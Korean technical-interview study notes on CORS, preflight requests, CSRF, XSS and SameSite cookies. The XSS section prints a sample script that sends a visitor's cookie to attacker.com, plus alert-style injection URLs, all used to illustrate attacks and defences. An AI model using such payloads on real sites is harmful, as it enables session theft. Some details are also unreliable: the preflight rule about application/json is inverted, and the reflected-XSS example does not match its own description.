기술면접 리스트 - 네트워크 편

Written by Paul

CORS(Cross-Origin Resource Sharing)

CORS는 웹 브라우저가 서로 다른 출처(origin) 간에 리소스를 요청할 때 보안을 위해 적용되는 HTTP 헤더 기반 메커니즘이다. 기본적으로 웹 브라우저는 보안 문제로 인해 서로 다른 출처에서 리소스를 요청하는 것을 차단한다. 이를 동일 출처 정책(Same-Origin Policy)이라고 하는데, 이 정책은 다른 도메인, 프로토콜, 또는 포트에서 오는 요청을 제한한다.
동일 출처 정책의 예시
  • 동일출처: https://example.com/index.html에서 https://example.com/api/data에 요청을 보내는 경우
  • 다른출처: https://example.com에서 https://api.anotherdomain.com으로 요청을 보내는 경우 (도메인이 다르기 때문에)
주요 CORS 헤더
  • Access-Control-Allow-Origin: 허용된 출처를 정의. 예: Access-Control-Allow-Origin: https://example.com
  • Access-Control-Allow-Methods: 허용된 HTTP 메서드를 정의. 예: GET, POST, PUT
  • Access-Control-Allow-Headers: 허용된 요청 헤더를 정의. 예: Content-Type
  • Access-Control-Allow-Credentials: 자격 증명(쿠키, 인증 정보 등)을 포함한 요청을 허용할지를 명시
CORS(Cross-Origin Resource Sharing)브라우저 단에서 시작되는 보안 정책이다. 이를 통해, 클라이언트(주로 브라우저)가 서버에 리소스를 요청할 때, 동일 출처 정책(Same-Origin Policy)을 준수하는지 확인하고, 서버에서 제공하는 CORS 헤더에 따라 요청을 허용할지 차단할지를 결정한다. 해당 부분은 서버측과 클라이언트측(브라우저 단)으로 역할과 책임이 나뉜다.
클라이언트 측(CORS가 작동하는 측) - 브라우저
  1. 브라우저에서 다른 출처로 리소스를 요청하려고 할 때, 브라우저는 CORS 규칙을 검사
  1. 서버가 CORS 요청을 처리하기 위한 응답 헤더를 보내면, 브라우저는 이를 확인
  1. 만약 서버가 적절한 CORS 헤더를 반환하지 않으면, 브라우저는 리소스 접근을 차단하고, 콘솔에 CORS 오류 메시지를 출력
      • 이 때문에 브라우저 개발자 도구 콘솔에서 "CORS 정책에 의해 차단되었습니다"라는 오류 메시지를 볼 수 있다
즉, CORS 자체는 클라이언트(브라우저)가 주체가 되어, 서버로부터 특정 리소스에 대한 접근 권한을 부여받는지를 검사하는 정책이다. 브라우저가 이 정책을 강제 적용하고, 서버가 이를 지원하는 형식으로 상호작용이 이루어진다.
서버 측 - CORS 헤더 설정
서버는 CORS 요청을 처리할 수 있는 권한을 가지고 있으며, CORS 관련 헤더를 응답에 포함시켜 브라우저에게 특정 출처에 대해 요청을 허용할지 여부를 알려준다.
서버는 클라이언트가 보내는 CORS 요청을 확인하고, 허용된 요청인지 결정한 후 적절한 CORS 헤더를 추가하여 응답을 보낸다. 이때 서버는 다양한 설정을 통해 클라이언트의 요청을 허용하거나 제한할 수 있다.
서버 측에서 CORS를 설정하지 않으면, 브라우저는 해당 리소스에 대한 접근을 차단한다. 즉, 서버가 적절한 CORS 헤더를 보내지 않으면 브라우저는 보안 상의 이유로 다른 출처의 자원을 사용할 수 없도록 차단하는 것이다.
CORS의 작동원리
  • CORS는 브라우저에서 시작된다. 브라우저는 다른 출처의 리소스에 접근할 때, 동일 출처 정책을 기반으로 서버에 권한을 요청한다
  • 서버는 응답을 통해 권한을 부여한다. 서버는 Access-Control-Allow-Origin 등의 헤더를 사용하여 브라우저가 요청을 허용할지 결정할 수 있다
  • 브라우저는 서버가 반환한 CORS 헤더를 확인하고, 서버가 요청을 허용하면 리소스에 접근한다. 허용하지 않으면 리소스에 접근할 수 없다
따라서, CORS는 클라이언트(브라우저)서버의 협업을 통해 동작하는 보안 메커니즘이지만, 그 출발점은 브라우저에서 시작되며, 서버는 그 요청에 대한 응답으로 허용 여부를 결정한다.
왜 서버가 아닌 브라우저에서 시작되는가?
이 질문에 대한 핵심은 웹의 기본 동작 방식과 보안 구조에 있다.
브라우저는 사용자 데이터를 제어하고 보호해야 한다
  • 웹 애플리케이션에서 브라우저는 사용자의 데이터를 직접적으로 다루고 있다. 이 데이터에는 세션 쿠키, 로컬 스토리지, 사용자 정보 등이 포함될 수 있다. 따라서 브라우저는 출처 간 요청을 제어하여, 사용자의 정보가 의도치 않게 유출되거나 악용되지 않도록 보호해야 한다
서버는 단순히 자원 제공자일 뿐
  • 서버는 자원을 제공하는 역할을 한다. 서버는 클라이언트가 요청한 데이터나 파일을 제공하는데, 이를 허락할지 결정할 수는 있지만, 서버 자체가 출처 간의 요청을 제어하는 것은 아니며, 클라이언트가 어떤 자원에 접근할지를 통제할 권한은 없다
  • 서버는 신뢰할 수 없는 요청이 들어오는 상황에서도 응답할 수 있어야 하며, 자원 접근을 제한할 의사결정은 브라우저가 담당한다. 서버는 단지 요청이 허용된 출처에만 응답을 허용하겠다는 신호를 보낼 수 있을 뿐이다
중앙 집중화된 보안 모델
  • 브라우저에서 CORS가 강제되는 이유는 웹 보안이 분산되어 있지 않고, 중앙 집중화된 모델로 작동하기 때문이다. 모든 웹 애플리케이션의 보안은 각 서버가 아닌, 브라우저에서 시작된다. 브라우저가 제어권을 가지고 있어야, 클라이언트 측에서의 공격을 일관되게 차단할 수 있.

Preflight 요청

Preflight 요청CORS에서 특정한 경우에만 발생하는 옵션(OPTIONS) 요청이다. 브라우저는 본 요청을 보내기 전에 "이 요청을 보내도 되는지" 서버에 미리 확인하는 절차로, 이를 사전 요청(Preflight Request)이라고 부른다.
Preflight 요청이 필요한 경우
브라우저가 서버로 CORS 요청을 보낼 때, 요청의 메서드나 헤더가 안전하지 않은 요청인 경우 사전 확인 요청이 필요하다. 이때 안전하지 않은 요청의 조건은 다음과 같다.
  • 사용된 HTTP 메서드가 GET, HEAD, POST가 아닌 경우 (예: PUT, DELETE)
  • 요청에 커스텀 헤더가 포함된 경우 (예: X-Custom-Header)
  • 요청의 Content-Typeapplication/json, multipart/form-data 등이 아닌 경우
브라우저가 안전하다고 간주하는 요청(Preflight 없이 바로 진행 가능)
  • 메서드: GET, POST, HEAD
  • Content-Type: text/plain, multipart/form-data, application/x-www-form-urlencoded
  • 커스텀 헤더 없이, 브라우저가 자동으로 설정하는 헤더만 포함

CSRF에 대하여

CSRF(Cross-Site Request Forgery, 크로스 사이트 요청 위조)는 웹 보안 취약점 중 하나로, 사용자가 신뢰하는 웹사이트를 공격자가 이용하여, 사용자가 의도하지 않은 요청을 서버에 보내도록 유도하는 공격 방식이다. 즉, 공격자가 사용자의 권한을 도용하여 요청을 서버로 전송하게 만듦으로써, 서버에서 해당 요청이 정상적인 사용자 요청인 것처럼 처리되도록 만드는 것이다.
CSRF 공격의 작동 방식
CSRF 공격은 주로 웹 애플리케이션에서 세션 기반 인증을 사용하는 경우 발생한다. 공격의 핵심은 사용자의 인증 정보를 이용해 공격자가 의도한 요청을 서버에 보내는 것이다.
CSRF 공격 흐름
  1. 사용자가 웹사이트에 로그인한다
      • 예를 들어, 사용자가 은행 웹사이트(예: bank.com)에 로그인하여 세션이 활성화된 상태이다. 이때 사용자는 인증된 세션 쿠키를 브라우저에 가지고 있다
  1. 공격자가 조작된 웹페이지나 링크를 만든다
      • 공격자는 사용자가 이미 로그인된 상태를 악용하기 위해 조작된 링크나 폼을 생성한다. 예를 들어, 공격자가 만든 웹사이트(예: evil.com)에 사용자가 방문하게끔 유도한다
      • 조작된 페이지에 사용자가 접속하면, 해당 페이지는 bank.com에 특정 요청을 보내도록 설정되어 있다
  1. 사용자가 조작된 페이지를 방문한다
      • 사용자는 공격자가 만든 페이지 또는 이메일에 포함된 링크를 클릭하는 등 공격자가 조작한 페이지로 이동한다
  1. CSRF 요청이 자동으로 실행된다
      • 사용자가 evil.com 페이지를 방문하자마자, 해당 페이지는 bank.com으로 자동으로 요청을 보낸다. 중요한 점은 브라우저가 자동으로 bank.com의 세션 쿠키를 전송한다는 것이다. 이로 인해, 서버는 이 요청이 사용자가 보낸 정상적인 요청인지 판단할 수 없다
      • 예를 들어, bank.com에 돈을 이체하는 요청이나 비밀번호를 변경하는 요청이 전송될 수 있다
  1. 서버가 요청을 처리한다
      • 서버는 해당 요청이 공격자에 의해 조작된 것인지 알지 못한 채, 사용자가 이미 로그인되어 있기 때문에 해당 요청을 처리한다. 결과적으로, 사용자의 의사와는 상관없이, 공격자가 의도한 행동이 서버에서 실행된다
CSRF 공격 방어 방법
1. CSRF 방지 토큰(CSRF Token) 사용
CSRF 방지 토큰은 서버가 랜덤하게 생성한 고유한 토큰을 클라이언트에게 제공하고, 클라이언트가 이를 요청 시에 다시 서버로 보내는 방식이다. 이 토큰은 각 요청마다 달라지며, CSRF 공격에서는 예측할 수 없기 때문에 방어할 수 있다.
  • 서버에서 HTML 폼을 생성할 때, CSRF 토큰을 숨겨진 필드로 추가한다
  • 서버는 해당 토큰을 세션에 저장하고, 클라이언트로부터 받은 토큰과 세션의 토큰을 비교하여 일치하지 않으면 요청을 거부한다
2. SameSite 쿠키 속성 사용
SameSite 속성은 쿠키가 크로스 사이트 요청에서 전송되지 않도록 제어할 수 있는 방법이다. 쿠키에 SameSite=Lax 또는 SameSite=Strict 설정을 적용하면, 크로스 사이트 요청에서 쿠키가 전송되지 않기 때문에 CSRF 공격을 방지할 수 있다.
  • SameSite=Lax: 크로스 사이트에서의 일반적인 브라우저 네비게이션(링크 클릭 등)에는 쿠키가 포함되지만, 폼 제출이나 스크립트 요청 등에는 쿠키가 포함되지 않는다
  • SameSite=Strict: 모든 크로스 사이트 요청에서 쿠키가 전송되지 않는다
3. Referer 헤더 검증
서버는 요청이 들어왔을 때 Referer 헤더를 검사하여, 요청이 올바른 출처(즉, 해당 웹사이트에서 발생했는지)를 확인할 수 있다. 만약 요청이 다른 출처에서 왔다면 이를 차단할 수 있다.
  • 이 방법은 완벽하지 않지만, 추가적인 방어 수단으로 사용할 수 있다
4. GET 요청을 멱등하게 만들기
GET 요청은 데이터 조회에만 사용되어야 하며, 상태 변경을 일으키는 작업에는 사용하지 않는 것이 원칙이다. 예를 들어, 계좌 송금, 데이터 수정, 삭제 등의 작업은 POSTPUT 요청으로 처리해야 한다.
5. 인증된 사용자에게만 중요 요청 허용
민감한 작업(예: 송금, 비밀번호 변경 등)을 처리할 때, 재인증(예: 비밀번호 입력)을 요구하여 추가적인 보안을 강화할 수 있다. 공격자가 CSRF를 통해 요청을 보내더라도, 사용자의 비밀번호를 알지 못하면 작업을 수행할 수 다.
XSS와 CSRF의 차이점
  • XSS는 공격자가 악성 스크립트를 삽입하여 사용자의 브라우저에서 코드를 실행하는 공격이다. 주로 브라우저 환경에서 발생하며, 사용자의 세션 정보브라우저 내의 데이터를 탈취하는 데 사용된다
  • CSRF는 사용자가 의도하지 않은 요청을 서버로 보내게끔 유도하는 공격으로, 브라우저의 신뢰를 악용한다. XSS와는 달리 CSRF는 서버와의 상호작용에서 발생하며, 사용자가 인증된 세션을 악용해 원하지 않는 작업을 수행하도록 만든다

XSS에 대하여

XSS(Cross-Site Scripting, 크로스 사이트 스크립팅)는 웹 애플리케이션에서 발생하는 보안 취약점으로, 공격자가 악의적인 스크립트(주로 JavaScript)를 웹사이트에 삽입하여 다른 사용자의 브라우저에서 해당 스크립트가 실행되도록 유도하는 공격 방식이다. XSS 공격의 목적은 사용자의 세션을 탈취하거나 개인 정보를 도용, 피싱 공격, 악성 코드 배포 등을 수행하는 것이다.
XSS 공격의 기본 흐름
  1. 취약한 웹 애플리케이션: 웹 애플리케이션에서 사용자로부터 입력을 받아 해당 데이터를 그대로 HTML 문서에 출력하는 취약점이 존재한다
  1. 공격자: 공격자는 이 취약점을 악용하여, 사용자의 입력으로 악성 스크립트(예: JavaScript)를 삽입한다
  1. 희생자: 다른 사용자가 해당 페이지에 접근하면, 공격자가 삽입한 악성 스크립트가 브라우저에서 실행된다
  1. 악성 스크립트의 실행: 실행된 스크립트는 브라우저 내에서 쿠키 탈취, 세션 하이재킹, 사용자 정보 탈취 등의 악의적인 행동을 수행할 수 있다
XSS의 종류
XSS는 크게 3가지 유형으로 분류된다. Stored XSS(저장형), Reflected XSS(반사형), DOM-based XSS.
1. 저장형 XSS (Stored XSS)
  • 저장형 XSS는 공격자가 입력한 악성 스크립트가 서버에 영구적으로 저장되어, 다른 사용자들이 해당 데이터를 볼 때마다 스크립트가 실행되는 공격 방식이다
  • 공격자는 블로그 게시글, 댓글, 사용자 프로필 등 사용자가 제공하는 데이터에 악성 스크립트를 삽입한다. 이 스크립트는 서버에 저장되고, 이후 페이지를 방문하는 사용자들의 브라우저에서 실행된다
  • 예시: 공격자가 게시판에 다음과 같은 악성 코드를 포함한 댓글을 남길 수 있다. 이 경우 다른 사용자가 이 게시판 페이지를 방문하면, 브라우저에서 스크립트가 실행되어 쿠키가 공격자 서버로 전송된다.
    • <script> document.location = 'http://attacker.com/steal?cookie=' + document.cookie; </script>
2. 반사형 XSS (Reflected XSS)
  • 반사형 XSS는 공격자가 입력한 데이터가 서버에 저장되지 않고, 즉시 반사되어 사용자에게 돌아가는 경우 발생한다
  • 주로 URL 매개변수, 검색 쿼리, 폼 데이터 등에서 사용자 입력을 받아 그 결과를 다시 페이지에 출력할 때 발생한다
  • 공격자는 사용자를 특정 URL로 유도하여, 해당 URL에 포함된 악성 스크립트가 실행되도록 만든다
  • 예시: 공격자가 다음과 같은 링크를 만들어 사용자가 클릭하도록 유도할 수 있다. 이 링크를 클릭한 사용자는 브라우저에서 스크립트가 실행되고, 쿠키 정보가 공격자에게 전송된다
    • http://vulnerable-site.com/#<script>alert('XSS');</script>
3. DOM 기반 XSS (DOM-based XSS)
  • DOM-based XSS는 서버에서 전송된 응답이 아닌, 클라이언트 측 스크립트(JavaScript)가 잘못된 방식으로 DOM(Document Object Model)을 조작할 때 발생하는 공격이다
  • 공격자는 브라우저에서 실행되는 JavaScript 코드에 직접 영향을 미칠 수 있는 데이터(예: URL의 해시 값, document.location 등)를 조작해 악성 스크립트를 실행시킨다
  • 예시: 공격자가 URL의 파라미터를 다음과 같이 조작할 수 있다. 클라이언트 측에서 이 해시 값을 그대로 페이지에 삽입하는 로직이 있다면, 스크립트가 실행된다
    • http://vulnerable-site.com/#<script>alert('XSS');</script>
XSS 공격 방어 방법
XSS는 웹 애플리케이션에서 사용자 입력을 적절히 처리하고 검증하지 않을 때 발생한다. 따라서 방어하기 위해서는 다양한 방법을 적용해야 한다.
1. 출력 시 이스케이프(escape) 처리
  • HTML, JavaScript, CSS 등 특정 맥락에서 사용자 입력을 출력할 때는 특수 문자를 이스케이프 처리해야 한다. 이를 통해 악성 스크립트가 실행되지 않도록 할 수 있다
    • 예를 들어, <, >, ", '와 같은 특수 문자는 HTML에서 스크립트로 해석되지 않도록 변환해야 한다
    • JavaScript 내에서 변수로 삽입될 때는 따옴표 등의 특수 문자를 적절히 처리해야 한다
2. 입력 검증 및 정규화
  • 사용자로부터 입력을 받을 때는 입력 값이 유효한지 검증해야 한다. 예상되는 데이터 형식만 허용하고, 불필요한 문자나 스크립트가 포함되지 않도록 필터링할 수 있다
  • 특히 URL, HTML, JavaScript 등을 처리할 때는 이 입력을 검증하는 것이 중요하다
3. Content Security Policy(CSP) 설정
  • Content Security Policy(CSP)는 브라우저에 어떤 자원이 허용될지 명시하는 보안 정책이다. CSP를 설정하면, 페이지에 포함된 스크립트나 리소스가 신뢰할 수 있는 출처에서만 로드되도록 제한할 수 있다
  • 예를 들어, 인라인 스크립트의 실행을 막거나, 외부 스크립트를 허용된 도메인에서만 로드하도록 설정할 수 있다
4. HTTPOnly와 Secure 속성을 가진 쿠키 사용
  • HTTPOnly 쿠키JavaScript를 통해 접근할 수 없는 쿠키로 설정할 수 있다. 이를 통해 공격자가 XSS를 이용해 세션 쿠키를 탈취하는 것을 막을 수 있다
  • Secure 속성을 적용하면, 쿠키는 HTTPS 연결을 통해서만 전송되므로 중간자 공격에 대한 방어도 강화된다
5. 라이브러리 및 프레임워크의 보안 기능 사용
  • 많은 현대적인 웹 개발 프레임워크(예: React, Angular, Vue.js)는 XSS 공격을 방지하는 기능을 내장하고 있다. 이러한 프레임워크를 사용할 때는 기본 보안 기능을 사용하는 것이 좋다. 예를 들어, React에서는 JSX를 사용할 때 기본적으로 HTML 이스케이프 처리가 되어 있다
6. JavaScript 이벤트 속성 주의
  • 사용자 입력을 JavaScript 이벤트 속성(예: onclick, onmouseover)에 삽입할 때는 특히 주의해야 한다. 악성 스크립트가 삽입될 수 있으므로, 가능하면 이벤트 속성 내에서는 사용자 입력을 사용하지 않는 것이 좋다

Cookie와 SameSite 정책에 대하여

SameSite 쿠키 정책웹 사이트가 쿠키를 설정할 때, 해당 쿠키가 크로스 사이트 요청에 포함될지를 제어하는 서버 측의 설정이다. 이 정책은 CSRF(Cross-Site Request Forgery)와 같은 공격을 방지하기 위해 도입되었다. 즉, 다른 사이트에서 임의로 사용자의 쿠키를 전송하는 것을 막는 것이다.
SameSite 정책은 세 가지 모드로 동작한다.
  • SameSite=Lax: 기본적으로 설정되며, 사용자가 외부 링크를 클릭하는 등의 일부 상황에서만 쿠키가 포함된다. 그러나 크로스 사이트에서 자동으로 전송되는 요청(AJAX나 이미지 로드 등)에서는 쿠키가 전송되지 않는다
  • SameSite=Strict: 동일한 출처에서 발생한 요청에만 쿠키가 전송된다. 크로스 사이트 요청에서는 쿠키가 절대 전송되지 않는다
  • SameSite=None: 크로스 사이트 요청에서도 쿠키가 전송된다. 이 경우 Secure 플래그가 설정되어야 하며, HTTPS에서만 동작한다
SameSite 정책의 목적
  • CSRF 방지: 공격자가 피해자의 브라우저에서 인증된 세션 쿠키를 도용하거나 악용하지 못하도록 한다
  • 쿠키가 의도하지 않은 사이트 간 요청에서 자동으로 전송되는 것을 방지한다
 
← Go home